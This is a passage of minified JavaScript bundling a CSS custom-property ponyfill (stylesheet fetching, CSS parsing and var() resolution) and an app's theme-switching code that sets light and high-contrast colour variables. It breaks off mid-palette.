* Gets CSS data from <style> and <link> nodes (including @imports), then
* returns data in order processed by DOM. Allows specifying nodes to
* include/exclude and filtering CSS data using RegEx.
*
* @preserve
* @param {object} [options] The options object
* @param {object} [options.rootElement=document] Root element to traverse for
* <link> and <style> nodes.
* @param {string} [options.include] CSS selector matching <link> and <style>
* nodes to include
* @param {string} [options.exclude] CSS selector matching <link> and <style>
* nodes to exclude
* @param {object} [options.filter] Regular expression used to filter node CSS
* data. Each block of CSS data is tested against the filter,
* and only matching data is included.
* @param {boolean} [options.skipDisabled=true] Determines if disabled
* stylesheets will be skipped while collecting CSS data.
* @param {boolean} [options.useCSSOM=false] Determines if CSS data will be
* collected from a stylesheet's runtime values instead of its
* text content. This is required to get accurate CSS data
* when a stylesheet has been modified using the deleteRule()
* or insertRule() methods because these modifications will
* not be reflected in the stylesheet's text content.
* @param {function} [options.onBeforeSend] Callback before XHR is sent. Passes
* 1) the XHR object, 2) source node reference, and 3) the
* source URL as arguments.
* @param {function} [options.onSuccess] Callback on each CSS node read. Passes
* 1) CSS text, 2) source node reference, and 3) the source
* URL as arguments.
* @param {function} [options.onError] Callback on each error. Passes 1) the XHR
* object for inspection, 2) soure node reference, and 3) the
* source URL that failed (either a <link> href or an @import)
* as arguments
* @param {function} [options.onComplete] Callback after all nodes have been
* processed. Passes 1) concatenated CSS text, 2) an array of
* CSS text in DOM order, and 3) an array of nodes in DOM
* order as arguments.
*
* @example
*
* getCssData({
* rootElement : document,
* include : 'style,link[rel="stylesheet"]',
* exclude : '[href="skip.css"]',
* filter : /red/,
* skipDisabled: true,
* useCSSOM : false,
* onBeforeSend(xhr, node, url) {
* // ...
* }
* onSuccess(cssText, node, url) {
* // ...
* }
* onError(xhr, node, url) {
* // ...
* },
* onComplete(cssText, cssArray, nodeArray) {
* // ...
* }
* });
*/function W5(e){var t=/\/\*[\s\S]+?\*\//g,n=/(?:@import\s*)(?:url\(\s*)?(?:['"])([^'"]*)(?:['"])(?:\s*\))?(?:[^;]*;)/g,r={rootElement:e.rootElement||document,include:e.include||'style,link[rel="stylesheet"]',exclude:e.exclude||null,filter:e.filter||null,skipDisabled:!1!==e.skipDisabled,useCSSOM:e.useCSSOM||!1,onBeforeSend:e.onBeforeSend||Function.prototype,onSuccess:e.onSuccess||Function.prototype,onError:e.onError||Function.prototype,onComplete:e.onComplete||Function.prototype},o=Array.apply(null,r.rootElement.querySelectorAll(r.include)).filter((function(e){return t=e,n=r.exclude,!(t.matches||t.matchesSelector||t.webkitMatchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector).call(t,n);var t,n})),i=Array.apply(null,Array(o.length)).map((function(e){return null}));function a(){if(-1===i.indexOf(null)){i.reduce((function(e,t,n){return""===t&&e.push(n),e}),[]).reverse().forEach((function(e){return[o,i].forEach((function(t){return t.splice(e,1)}))}));var e=i.join("");r.onComplete(e,i,o)}}function l(e,t,n,o){var l=r.onSuccess(e,n,o);(function e(t,n,o,i){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:[],l=arguments.length>5&&void 0!==arguments[5]?arguments[5]:[],u=s(t,o,l);u.rules.length?G5(u.absoluteUrls,{onBeforeSend:function(e,t,o){r.onBeforeSend(e,n,t)},onSuccess:function(e,t,o){var i=r.onSuccess(e,n,t),a=s(e=!1===i?"":i||e,t,l);return a.rules.forEach((function(t,n){e=e.replace(t,a.absoluteRules[n])})),e},onError:function(r,s,c){a.push({xhr:r,url:s}),l.push(u.rules[c]),e(t,n,o,i,a,l)},onComplete:function(r){r.forEach((function(e,n){t=t.replace(u.rules[n],e)})),e(t,n,o,i,a,l)}}):i(t,a)})(e=void 0!==l&&!1===Boolean(l)?"":l||e,n,o,(function(e,o){null===i[t]&&(o.forEach((function(e){return r.onError(e.xhr,n,e.url)})),!r.filter||r.filter.test(e)?i[t]=e:i[t]="",a())}))}function s(e,r){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],i={};return i.rules=(e.replace(t,"").match(n)||[]).filter((function(e){return-1===o.indexOf(e)})),i.urls=i.rules.map((function(e){return e.replace(n,"$1")})),i.absoluteUrls=i.urls.map((function(e){return q5(e,r)})),i.absoluteRules=i.rules.map((function(e,t){var n=i.urls[t],o=q5(i.absoluteUrls[t],r);return e.replace(n,o)})),i}o.length?o.forEach((function(e,t){var n=e.getAttribute("href"),o=e.getAttribute("rel"),s="link"===e.nodeName.toLowerCase()&&n&&o&&-1!==o.toLowerCase().indexOf("stylesheet"),u=!1!==r.skipDisabled&&e.disabled,c="style"===e.nodeName.toLowerCase();if(s&&!u)G5(n,{mimeType:"text/css",onBeforeSend:function(t,n,o){r.onBeforeSend(t,e,n)},onSuccess:function(r,o,i){var a=q5(n);l(r,t,e,a)},onError:function(n,o,l){i[t]="",r.onError(n,e,o),a()}});else if(c&&!u){var f=e.textContent;r.useCSSOM&&(f=Array.apply(null,e.sheet.cssRules).map((function(e){return e.cssText})).join("")),l(f,t,e,location.href)}else i[t]="",a()})):r.onComplete("",[])}function q5(e,t){var n=document.implementation.createHTMLDocument(""),r=n.createElement("base"),o=n.createElement("a");return n.head.appendChild(r),n.body.appendChild(o),r.href=t||document.baseURI||(document.querySelector("base")||{}).href||location.href,o.href=e,o.href}var Z5=Y5;function Y5(e,t,n){e instanceof RegExp&&(e=$5(e,n)),t instanceof RegExp&&(t=$5(t,n));var r=K5(e,t,n);return r&&{start:r[0],end:r[1],pre:n.slice(0,r[0]),body:n.slice(r[0]+e.length,r[1]),post:n.slice(r[1]+t.length)}}function $5(e,t){var n=t.match(e);return n?n[0]:null}function K5(e,t,n){var r,o,i,a,l,s=n.indexOf(e),u=n.indexOf(t,s+1),c=s;if(s>=0&&u>0){if(e===t)return[s,u];for(r=[],i=n.length;c>=0&&!l;)c==s?(r.push(c),s=n.indexOf(e,c+1)):1==r.length?l=[r.pop(),u]:((o=r.pop())<i&&(i=o,a=u),u=n.indexOf(t,c+1)),c=s<u&&s>=0?s:u;r.length&&(l=[i,a])}return l}function X5(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={preserveStatic:!0,removeComments:!1},r=U5({},n,t),o=[];function i(e){throw new Error("CSS parse error: ".concat(e))}function a(t){var n=t.exec(e);if(n)return e=e.slice(n[0].length),n}function l(){return a(/^{\s*/)}function s(){return a(/^}/)}function u(){a(/^\s*/)}function c(){if(u(),"/"===e[0]&&"*"===e[1]){for(var t=2;e[t]&&("*"!==e[t]||"/"!==e[t+1]);)t++;if(!e[t])return i("end of comment is missing");var n=e.slice(2,t);return e=e.slice(t+2),{type:"comment",comment:n}}}function f(){for(var e,t=[];e=c();)t.push(e);return r.removeComments?[]:t}function d(){for(u();"}"===e[0];)i("extra closing bracket");var t=a(/^(("(?:\\"|[^"])*"|'(?:\\'|[^'])*'|[^{])+)/);if(t){var n,r=t[0].trim();/\/\*/.test(r)&&(r=r.replace(/\/\*([^*]|[\r\n]|(\*+([^*/]|[\r\n])))*\*\/+/g,""));var o=/["']\w*,\w*["']/.test(r);return o&&(r=r.replace(/"(?:\\"|[^"])*"|'(?:\\'|[^'])*'/g,(function(e){return e.replace(/,/g,"")}))),n=/,/.test(r)?r.split(/\s*(?![^(]*\)),\s*/):[r],o&&(n=n.map((function(e){return e.replace(/\u200C/g,",")}))),n}}function p(){if("@"===e[0])return A();a(/^([;\s]*)+/);var t=/\/\*[^*]*\*+([^/*][^*]*\*+)*\//g,n=a(/^(\*?[-#/*\\\w.]+(\[[0-9a-z_-]+\])?)\s*/);if(n){if(n=n[0].trim(),!a(/^:\s*/))return i("property missing ':'");var r=a(/^((?:\/\*.*?\*\/|'(?:\\'|.)*?'|"(?:\\"|.)*?"|\((\s*'(?:\\'|.)*?'|"(?:\\"|.)*?"|[^)]*?)\s*\)|[^};])+)/),o={type:"declaration",property:n.replace(t,""),value:r?r[0].replace(t,"").trim():""};return a(/^[;\s]*/),o}}function h(){if(!l())return i("missing '{'");for(var e,t=f();e=p();)t.push(e),t=t.concat(f());return s()?t:i("missing '}'")}function m(){u();for(var e,t=[];e=a(/^((\d+\.\d+|\.\d+|\d+)%?|[a-z]+)\s*/);)t.push(e[1]),a(/^,\s*/);if(t.length)return{type:"keyframe",values:t,declarations:h()}}function g(){var e=a(/^@([-\w]+)?keyframes\s*/);if(e){var t=e[1];if(!(e=a(/^([-\w]+)\s*/)))return i("@keyframes missing name");var n,r=e[1];if(!l())return i("@keyframes missing '{'");for(var o=f();n=m();)o.push(n),o=o.concat(f());return s()?{type:"keyframes",name:r,vendor:t,keyframes:o}:i("@keyframes missing '}'")}}function v(){if(a(/^@page */))return{type:"page",selectors:d()||[],declarations:h()}}function y(){var e=a(/@(top|bottom|left|right)-(left|center|right|top|middle|bottom)-?(corner)?\s*/);if(e)return{type:"page-margin-box",name:"".concat(e[1],"-").concat(e[2])+(e[3]?"-".concat(e[3]):""),declarations:h()}}function b(){if(a(/^@font-face\s*/))return{type:"font-face",declarations:h()}}function w(){var e=a(/^@supports *([^{]+)/);if(e)return{type:"supports",supports:e[1].trim(),rules:T()}}function E(){if(a(/^@host\s*/))return{type:"host",rules:T()}}function S(){var e=a(/^@media([^{]+)*/);if(e)return{type:"media",media:(e[1]||"").trim(),rules:T()}}function C(){var e=a(/^@custom-media\s+(--[^\s]+)\s*([^{;]+);/);if(e)return{type:"custom-media",name:e[1].trim(),media:e[2].trim()}}function x(){var e=a(/^@([-\w]+)?document *([^{]+)/);if(e)return{type:"document",document:e[2].trim(),vendor:e[1]?e[1].trim():null,rules:T()}}function O(){var e=a(/^@(import|charset|namespace)\s*([^;]+);/);if(e)return{type:e[1],name:e[2].trim()}}function A(){if(u(),"@"===e[0]){var t=O()||b()||S()||g()||w()||x()||C()||E()||v()||y();if(t&&!r.preserveStatic){var n=!1;if(t.declarations)n=t.declarations.some((function(e){return/var\(/.test(e.value)}));else n=(t.keyframes||t.rules||[]).some((function(e){return(e.declarations||[]).some((function(e){return/var\(/.test(e.value)}))}));return n?t:{}}return t}}function _(){if(!r.preserveStatic){var t=Z5("{","}",e);if(t){var n=/:(?:root|host)(?![.:#(])/.test(t.pre)&&/--\S*\s*:/.test(t.body),o=/var\(/.test(t.body);if(!n&&!o)return e=e.slice(t.end+1),{}}}var a=d()||[],l=r.preserveStatic?h():h().filter((function(e){var t=a.some((function(e){return/:(?:root|host)(?![.:#(])/.test(e)}))&&/^--\S/.test(e.property),n=/var\(/.test(e.value);return t||n}));return a.length||i("selector missing"),{type:"rule",selectors:a,declarations:l}}function T(t){if(!t&&!l())return i("missing '{'");for(var n,r=f();e.length&&(t||"}"!==e[0])&&(n=A()||_());)n.type&&r.push(n),r=r.concat(f());return t||s()?r:i("missing '}'")}return{type:"stylesheet",stylesheet:{rules:T(!0),errors:o}}}function Q5(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={parseHost:!1,store:{},onWarning:function(){}},r=U5({},n,t),o=new RegExp(":".concat(r.parseHost?"host":"root","$"));return"string"==typeof e&&(e=X5(e,r)),e.stylesheet.rules.forEach((function(e){"rule"===e.type&&e.selectors.some((function(e){return o.test(e)}))&&e.declarations.forEach((function(e,t){var n=e.property,o=e.value;n&&0===n.indexOf("--")&&(r.store[n]=o)}))})),r.store}function J5(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2?arguments[2]:void 0,r={charset:function(e){return"@charset "+e.name+";"},comment:function(e){return 0===e.comment.indexOf("__CSSVARSPONYFILL")?"/*"+e.comment+"*/":""},"custom-media":function(e){return"@custom-media "+e.name+" "+e.media+";"},declaration:function(e){return e.property+":"+e.value+";"},document:function(e){return"@"+(e.vendor||"")+"document "+e.document+"{"+o(e.rules)+"}"},"font-face":function(e){return"@font-face{"+o(e.declarations)+"}"},host:function(e){return"@host{"+o(e.rules)+"}"},import:function(e){return"@import "+e.name+";"},keyframe:function(e){return e.values.join(",")+"{"+o(e.declarations)+"}"},keyframes:function(e){return"@"+(e.vendor||"")+"keyframes "+e.name+"{"+o(e.keyframes)+"}"},media:function(e){return"@media "+e.media+"{"+o(e.rules)+"}"},namespace:function(e){return"@namespace "+e.name+";"},page:function(e){return"@page "+(e.selectors.length?e.selectors.join(", "):"")+"{"+o(e.declarations)+"}"},"page-margin-box":function(e){return"@"+e.name+"{"+o(e.declarations)+"}"},rule:function(e){var t=e.declarations;if(t.length)return e.selectors.join(",")+"{"+o(t)+"}"},supports:function(e){return"@supports "+e.supports+"{"+o(e.rules)+"}"}};function o(e){for(var o="",i=0;i<e.length;i++){var a=e[i];n&&n(a);var l=r[a.type](a);l&&(o+=l,l.length&&a.selectors&&(o+=t))}return o}return o(e.stylesheet.rules)}function e8(e,t){e.rules.forEach((function(n){n.rules?e8(n,t):n.keyframes?n.keyframes.forEach((function(e){"keyframe"===e.type&&t(e.declarations,n)})):n.declarations&&t(n.declarations,e)}))}Y5.range=K5;function t8(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={preserveStatic:!0,preserveVars:!1,variables:{},onWarning:function(){}},r=U5({},n,t);return"string"==typeof e&&(e=X5(e,r)),e8(e.stylesheet,(function(e,t){for(var n=0;n<e.length;n++){var o=e[n],i=o.type,a=o.property,l=o.value;if("declaration"===i)if(r.preserveVars||!a||0!==a.indexOf("--")){if(-1!==l.indexOf("var(")){var s=r8(l,r);s!==o.value&&(s=n8(s),r.preserveVars?(e.splice(n,0,{type:i,property:a,value:s}),n++):o.value=s)}}else e.splice(n,1),n--}})),J5(e)}function n8(e){return(e.match(/calc\(([^)]+)\)/g)||[]).forEach((function(t){var n="calc".concat(t.split("calc").join(""));e=e.replace(t,n)})),e}function r8(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=arguments.length>2?arguments[2]:void 0;if(-1===e.indexOf("var("))return e;var r=Z5("(",")",e);function o(e){var r=e.split(",")[0].replace(/[\s\n\t]/g,""),o=(e.match(/(?:\s*,\s*){1}(.*)?/)||[])[1],i=Object.prototype.hasOwnProperty.call(t.variables,r)?String(t.variables[r]):void 0,a=i||(o?String(o):void 0),l=n||e;return i||t.onWarning('variable "'.concat(r,'" is undefined')),a&&"undefined"!==a&&a.length>0?r8(a,t,l):"var(".concat(l,")")}if(r){if("var"===r.pre.slice(-3)){var i=0===r.body.trim().length;return i?(t.onWarning("var() must contain a non-whitespace string"),e):r.pre.slice(0,-3)+o(r.body)+r8(r.post,t)}return r.pre+"(".concat(r8(r.body,t),")")+r8(r.post,t)}return-1!==e.indexOf("var(")&&t.onWarning('missing closing ")" in the value "'.concat(e,'"')),e}var o8="undefined"!=typeof window,i8=o8&&window.CSS&&window.CSS.supports&&window.CSS.supports("(--a: 0)"),a8={group:0,job:0},l8={rootElement:o8?document:null,shadowDOM:!1,include:"style,link[rel=stylesheet]",exclude:"",variables:{},onlyLegacy:!0,preserveStatic:!0,preserveVars:!1,silent:!1,updateDOM:!0,updateURLs:!0,watch:null,onBeforeSend:function(){},onError:function(){},onWarning:function(){},onSuccess:function(){},onComplete:function(){},onFinally:function(){}},s8={cssComments:/\/\*[\s\S]+?\*\//g,cssKeyframes:/@(?:-\w*-)?keyframes/,cssMediaQueries:/@media[^{]+\{([\s\S]+?})\s*}/g,cssUrls:/url\((?!['"]?(?:data|http|\/\/):)['"]?([^'")]*)['"]?\)/g,cssVarDeclRules:/(?::(?:root|host)(?![.:#(])[\s,]*[^{]*{\s*[^}]*})/g,cssVarDecls:/(?:[\s;]*)(-{2}\w[\w-]*)(?:\s*:\s*)([^;]*);/g,cssVarFunc:/var\(\s*--[\w-]/,cssVars:/(?:(?::(?:root|host)(?![.:#(])[\s,]*[^{]*{\s*[^;]*;*\s*)|(?:var\(\s*))(--[^:)]+)(?:\s*[:)])/},u8={dom:{},job:{},user:{}},c8=!1,f8=null,d8=0,p8=null,h8=!1;
/**
* Fetches, parses, and transforms CSS custom properties from specified
* <style> and <link> elements into static values, then appends a new <style>
* element with static values to the DOM to provide CSS custom property
* compatibility for legacy browsers. Also provides a single interface for
* live updates of runtime values in both modern and legacy browsers.
*
* @preserve
* @param {object} [options] Options object
* @param {object} [options.rootElement=document] Root element to traverse for
* <link> and <style> nodes
* @param {boolean} [options.shadowDOM=false] Determines if shadow DOM <link>
* and <style> nodes will be processed.
* @param {string} [options.include="style,link[rel=stylesheet]"] CSS selector
* matching <link re="stylesheet"> and <style> nodes to
* process
* @param {string} [options.exclude] CSS selector matching <link
* rel="stylehseet"> and <style> nodes to exclude from those
* matches by options.include
* @param {object} [options.variables] A map of custom property name/value
* pairs. Property names can omit or include the leading
* double-hyphen (—), and values specified will override
* previous values
* @param {boolean} [options.onlyLegacy=true] Determines if the ponyfill will
* only generate legacy-compatible CSS in browsers that lack
* native support (i.e., legacy browsers)
* @param {boolean} [options.preserveStatic=true] Determines if CSS
* declarations that do not reference a custom property will
* be preserved in the transformed CSS
* @param {boolean} [options.preserveVars=false] Determines if CSS custom
* property declarations will be preserved in the transformed
* CSS
* @param {boolean} [options.silent=false] Determines if warning and error
* messages will be displayed on the console
* @param {boolean} [options.updateDOM=true] Determines if the ponyfill will
* update the DOM after processing CSS custom properties
* @param {boolean} [options.updateURLs=true] Determines if relative url()
* paths will be converted to absolute urls in external CSS
* @param {boolean} [options.watch=false] Determines if a MutationObserver will
* be created that will execute the ponyfill when a <link> or
* <style> DOM mutation is observed
* @param {function} [options.onBeforeSend] Callback before XHR is sent. Passes
* 1) the XHR object, 2) source node reference, and 3) the
* source URL as arguments
* @param {function} [options.onError] Callback after a CSS parsing error has
* occurred or an XHR request has failed. Passes 1) an error
* message, and 2) source node reference, 3) xhr, and 4 url as
* arguments.
* @param {function} [options.onWarning] Callback after each CSS parsing warning
* has occurred. Passes 1) a warning message as an argument.
* @param {function} [options.onSuccess] Callback after CSS data has been
* collected from each node and before CSS custom properties
* have been transformed. Allows modifying the CSS data before
* it is transformed by returning any string value (or false
* to skip). Passes 1) CSS text, 2) source node reference, and
* 3) the source URL as arguments.
* @param {function} [options.onComplete] Callback after all CSS has been
* processed, legacy-compatible CSS has been generated, and
* (optionally) the DOM has been updated. Passes 1) a CSS
* string with CSS variable values resolved, 2) an array of
* output <style> node references that have been appended to
* the DOM, 3) an object containing all custom properies names
* and values, and 4) the ponyfill execution time in
* milliseconds.
* @param {function} [options.onFinally] Callback in modern and legacy browsers
* after the ponyfill has finished all tasks. Passes 1) a
* boolean indicating if the last ponyfill call resulted in a
* style change, 2) a boolean indicating if the current
* browser provides native support for CSS custom properties,
* and 3) the ponyfill execution time in milliseconds.
* @example
*
* cssVars({
* rootElement : document,
* shadowDOM : false,
* include : 'style,link[rel="stylesheet"]',
* exclude : '',
* variables : {},
* onlyLegacy : true,
* preserveStatic: true,
* preserveVars : false,
* silent : false,
* updateDOM : true,
* updateURLs : true,
* watch : false,
* onBeforeSend(xhr, node, url) {},
* onError(message, node, xhr, url) {},
* onWarning(message) {},
* onSuccess(cssText, node, url) {},
* onComplete(cssText, styleNode, cssVariables, benchmark) {},
* onFinally(hasChanged, hasNativeSupport, benchmark)
* });
*/
function m8(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t="cssVars(): ",n=U5({},l8,e);function r(e,r,o,i){!n.silent&&window.console&&console.error("".concat(t).concat(e,"\n"),r),n.onError(e,r,o,i)}function o(e){!n.silent&&window.console&&console.warn("".concat(t).concat(e)),n.onWarning(e)}function i(e){n.onFinally(Boolean(e),i8,S8()-n.__benchmark)}if(o8){if(n.watch)return n.watch=l8.watch,g8(n),void m8(n);if(!1===n.watch&&f8&&(f8.disconnect(),f8=null),!n.__benchmark){if(c8===n.rootElement)return void v8(e);var a=[].slice.call(n.rootElement.querySelectorAll('[data-cssvars]:not([data-cssvars="out"])'));if(n.__benchmark=S8(),n.exclude=[f8?'[data-cssvars]:not([data-cssvars=""])':'[data-cssvars="out"]',"link[disabled]:not([data-cssvars])",n.exclude].filter((function(e){return e})).join(","),n.variables=w8(n.variables),a.forEach((function(e){var t="style"===e.nodeName.toLowerCase()&&e.__cssVars.text,n=t&&e.textContent!==e.__cssVars.text;t&&n&&(e.sheet&&(e.sheet.disabled=!1),e.setAttribute("data-cssvars",""))})),!f8){var l=[].slice.call(n.rootElement.querySelectorAll('[data-cssvars="out"]'));l.forEach((function(e){var t=e.getAttribute("data-cssvars-group");(t?n.rootElement.querySelector('[data-cssvars="src"][data-cssvars-group="'.concat(t,'"]')):null)||e.parentNode.removeChild(e)})),d8&&a.length<d8&&(d8=a.length,u8.dom={})}}if("loading"!==document.readyState)if(i8&&n.onlyLegacy){var s=!1;if(n.updateDOM){var u=n.rootElement.host||(n.rootElement===document?document.documentElement:n.rootElement);Object.keys(n.variables).forEach((function(e){var t=n.variables[e];s=s||t!==getComputedStyle(u).getPropertyValue(e),u.style.setProperty(e,t)}))}i(s)}else!h8&&(n.shadowDOM||n.rootElement.shadowRoot||n.rootElement.host)?W5({rootElement:l8.rootElement,include:l8.include,exclude:n.exclude,skipDisabled:!1,onSuccess:function(e,t,n){return!((t.sheet||{}).disabled&&!t.__cssVars)&&((e=((e=e.replace(s8.cssComments,"").replace(s8.cssMediaQueries,"")).match(s8.cssVarDeclRules)||[]).join(""))||!1)},onComplete:function(e,t,r){Q5(e,{store:u8.dom,onWarning:o}),h8=!0,m8(n)}}):(c8=n.rootElement,W5({rootElement:n.rootElement,include:n.include,exclude:n.exclude,skipDisabled:!1,onBeforeSend:n.onBeforeSend,onError:function(e,t,n){var o=e.responseURL||E8(n,location.href),i=e.statusText?"(".concat(e.statusText,")"):"Unspecified Error"+(0===e.status?" (possibly CORS related)":"");r("CSS XHR Error: ".concat(o," ").concat(e.status," ").concat(i),t,e,o)},onSuccess:function(e,t,r){if((t.sheet||{}).disabled&&!t.__cssVars)return!1;var o="link"===t.nodeName.toLowerCase(),i="style"===t.nodeName.toLowerCase()&&e!==t.textContent,a=n.onSuccess(e,t,r);return e=void 0!==a&&!1===Boolean(a)?"":a||e,n.updateURLs&&(o||i)&&(e=b8(e,r)),e},onComplete:function(e,t){var a=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],l=U5({},u8.dom,u8.user);if(u8.job={},a.forEach((function(e,i){var a=t[i];if(e.__cssVars=e.__cssVars||{},e.__cssVars.text=a,s8.cssVars.test(a))try{var l=X5(a,{preserveStatic:n.preserveStatic,removeComments:!0});Q5(l,{parseHost:Boolean(n.rootElement.host),store:u8.dom,onWarning:o}),e.__cssVars.tree=l}catch(t){r(t.message,e)}})),U5(u8.job,u8.dom),n.updateDOM?(U5(u8.user,n.variables),U5(u8.job,u8.user)):(U5(u8.job,u8.user,n.variables),U5(l,n.variables)),a8.job>0&&Boolean(Object.keys(u8.job).length>Object.keys(l).length||Boolean(Object.keys(l).length&&Object.keys(u8.job).some((function(e){return u8.job[e]!==l[e]})))))C8(n.rootElement),m8(n);else{var s=[],u=[],c=!1;if(n.updateDOM&&a8.job++,a.forEach((function(e,i){var a=!e.__cssVars.tree;if(e.__cssVars.tree)try{t8(e.__cssVars.tree,U5({},n,{variables:u8.job,onWarning:o}));var l=J5(e.__cssVars.tree);if(n.updateDOM){var f=t[i],d=s8.cssVarFunc.test(f);if(e.getAttribute("data-cssvars")||e.setAttribute("data-cssvars","src"),l.length&&d){var p=e.getAttribute("data-cssvars-group")||++a8.group,h=l.replace(/\s/g,""),m=n.rootElement.querySelector('[data-cssvars="out"][data-cssvars-group="'.concat(p,'"]'))||document.createElement("style");c=c||s8.cssKeyframes.test(l),n.preserveStatic&&e.sheet&&(e.sheet.disabled=!0),m.hasAttribute("data-cssvars")||m.setAttribute("data-cssvars","out"),h===e.textContent.replace(/\s/g,"")?(a=!0,m&&m.parentNode&&(e.removeAttribute("data-cssvars-group"),m.parentNode.removeChild(m))):h!==m.textContent.replace(/\s/g,"")&&([e,m].forEach((function(e){e.setAttribute("data-cssvars-job",a8.job),e.setAttribute("data-cssvars-group",p)})),m.textContent=l,s.push(l),u.push(m),m.parentNode||e.parentNode.insertBefore(m,e.nextSibling))}}else e.textContent.replace(/\s/g,"")!==l&&s.push(l)}catch(t){r(t.message,e)}a&&e.setAttribute("data-cssvars","skip"),e.hasAttribute("data-cssvars-job")||e.setAttribute("data-cssvars-job",a8.job)})),d8=n.rootElement.querySelectorAll('[data-cssvars]:not([data-cssvars="out"])').length,n.shadowDOM)for(var f,d=[].concat(n.rootElement).concat([].slice.call(n.rootElement.querySelectorAll("*"))),p=0;f=d[p];++p)if(f.shadowRoot&&f.shadowRoot.querySelector("style")){var h=U5({},n,{rootElement:f.shadowRoot});m8(h)}n.updateDOM&&c&&y8(n.rootElement),c8=!1,n.onComplete(s.join(""),u,JSON.parse(JSON.stringify(u8.job)),S8()-n.__benchmark),i(u.length)}}}));else document.addEventListener("DOMContentLoaded",(function t(n){m8(e),document.removeEventListener("DOMContentLoaded",t)}))}}function g8(e){function t(e){var t=n(e)&&e.hasAttribute("disabled"),r=(e.sheet||{}).disabled;return t||r}function n(e){return"link"===e.nodeName.toLowerCase()&&-1!==(e.getAttribute("rel")||"").indexOf("stylesheet")}function r(e){return"style"===e.nodeName.toLowerCase()}window.MutationObserver&&(f8&&(f8.disconnect(),f8=null),(f8=new MutationObserver((function(o){o.some((function(o){return function(r){var o=!1;if("attributes"===r.type&&n(r.target)&&!t(r.target)){var i="disabled"===r.attributeName,a="href"===r.attributeName,l="skip"===r.target.getAttribute("data-cssvars"),s="src"===r.target.getAttribute("data-cssvars");i?o=!l&&!s:a&&(l?r.target.setAttribute("data-cssvars",""):s&&C8(e.rootElement,!0),o=!0)}return o}(o)||function(e){var t=!1;if("childList"===e.type){var n=r(e.target),o="out"===e.target.getAttribute("data-cssvars");t=n&&!o}return t}(o)||function(e){var o=!1;return"childList"===e.type&&(o=[].slice.call(e.addedNodes).some((function(e){var o=1===e.nodeType&&e.hasAttribute("data-cssvars"),i=r(e)&&s8.cssVars.test(e.textContent);return!o&&(n(e)||i)&&!t(e)}))),o}(o)||function(t){var n=!1;return"childList"===t.type&&(n=[].slice.call(t.removedNodes).some((function(t){var n=1===t.nodeType,r=n&&"out"===t.getAttribute("data-cssvars"),o=n&&"src"===t.getAttribute("data-cssvars"),i=o;if(o||r){var a=t.getAttribute("data-cssvars-group"),l=e.rootElement.querySelector('[data-cssvars-group="'.concat(a,'"]'));o&&C8(e.rootElement,!0),l&&l.parentNode.removeChild(l)}return i}))),n}(o)}))&&m8(e)}))).observe(document.documentElement,{attributes:!0,attributeFilter:["disabled","href"],childList:!0,subtree:!0}))}function v8(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:100;clearTimeout(p8),p8=setTimeout((function(){e.__benchmark=null,m8(e)}),t)}function y8(e){var t=["animation-name","-moz-animation-name","-webkit-animation-name"].filter((function(e){return getComputedStyle(document.body)[e]}))[0];if(t){for(var n=e.getElementsByTagName("*"),r=[],o=0,i=n.length;o<i;o++){var a=n[o];"none"!==getComputedStyle(a)[t]&&(a.style[t]+="__CSSVARSPONYFILL-KEYFRAMES__",r.push(a))}document.body.offsetHeight;for(var l=0,s=r.length;l<s;l++){var u=r[l].style;u[t]=u[t].replace("__CSSVARSPONYFILL-KEYFRAMES__","")}}}function b8(e,t){return(e.replace(s8.cssComments,"").match(s8.cssUrls)||[]).forEach((function(n){var r=n.replace(s8.cssUrls,"$1"),o=E8(r,t);e=e.replace(n,n.replace(r,o))})),e}function w8(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=/^-{2}/;return Object.keys(e).reduce((function(n,r){return n[t.test(r)?r:"--".concat(r.replace(/^-+/,""))]=e[r],n}),{})}function E8(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:location.href,n=document.implementation.createHTMLDocument(""),r=n.createElement("base"),o=n.createElement("a");return n.head.appendChild(r),n.body.appendChild(o),r.href=t,o.href=e,o.href}function S8(){return o8&&(window.performance||{}).now?window.performance.now():(new Date).getTime()}function C8(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=[].slice.call(e.querySelectorAll('[data-cssvars="skip"],[data-cssvars="src"]'));n.forEach((function(e){return e.setAttribute("data-cssvars","")})),t&&(u8.dom={})}m8.reset=function(){for(var e in a8.job=0,a8.group=0,c8=!1,f8&&(f8.disconnect(),f8=null),d8=0,p8=null,h8=!1,u8)u8[e]={}};var x8=m8,O8=function(e){var t=VP.LIGHT,n=!1;return x8({}),e.subscribe((function(){var r=fi.getActiveTheme(e.getState()),o=fi.getIsHighContrastMode(e.getState());t===r&&n===o||(t=r,n=o,_8(r,o))})),function(t){var n=Object.values(VP);if(n.indexOf(t)<0)throw new Error("".concat(t," is not one of: ").concat(n.join(","),"}"));e.dispatch(Ps.setActiveTheme(t))}},A8=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=document.documentElement,n=z5(e,{});Object.keys(n).forEach((function(e){var r=n[e];t.style.setProperty("--".concat(e),r)}))},_8=function(e,t){e===VP.LIGHT?A8(t?":root {\n --blue-1: #E7EDF3;\n --blue-2: #DDE6EE;\n --blue-3: #CFD8E0;\n --blue-4: #C7D2DD;\n --blue-5: #3183C8;\n --blue-6: #1A4971;\n --blue-7: #2651A1;\n\n --gray-0: #FFFFFF;\n --gray-1: #F8F9FA;\n --gray-2: #F1F3F5;\n --gray-3: #E7EBEE;\n --gray-4: #DEE2E6;\n --gray-5: #CFD4DA;\n --gray-6: #ADB5BD;\n --gray-7: #868E96;\n --gray-8: #485056;\n --gray-9: #343A40;\n --gray-10: #21242A;\n --gray-11: #101214;\n --gray-12: #000000;\n\n --yellow-1: #FACE0080;\n --red: red;\n\n --component-background: var(--gray-0);\n --mobile-presets-background: var(--gray-1);\n --faded-component-background: var(--gray-2);\n --signature-draw-background: 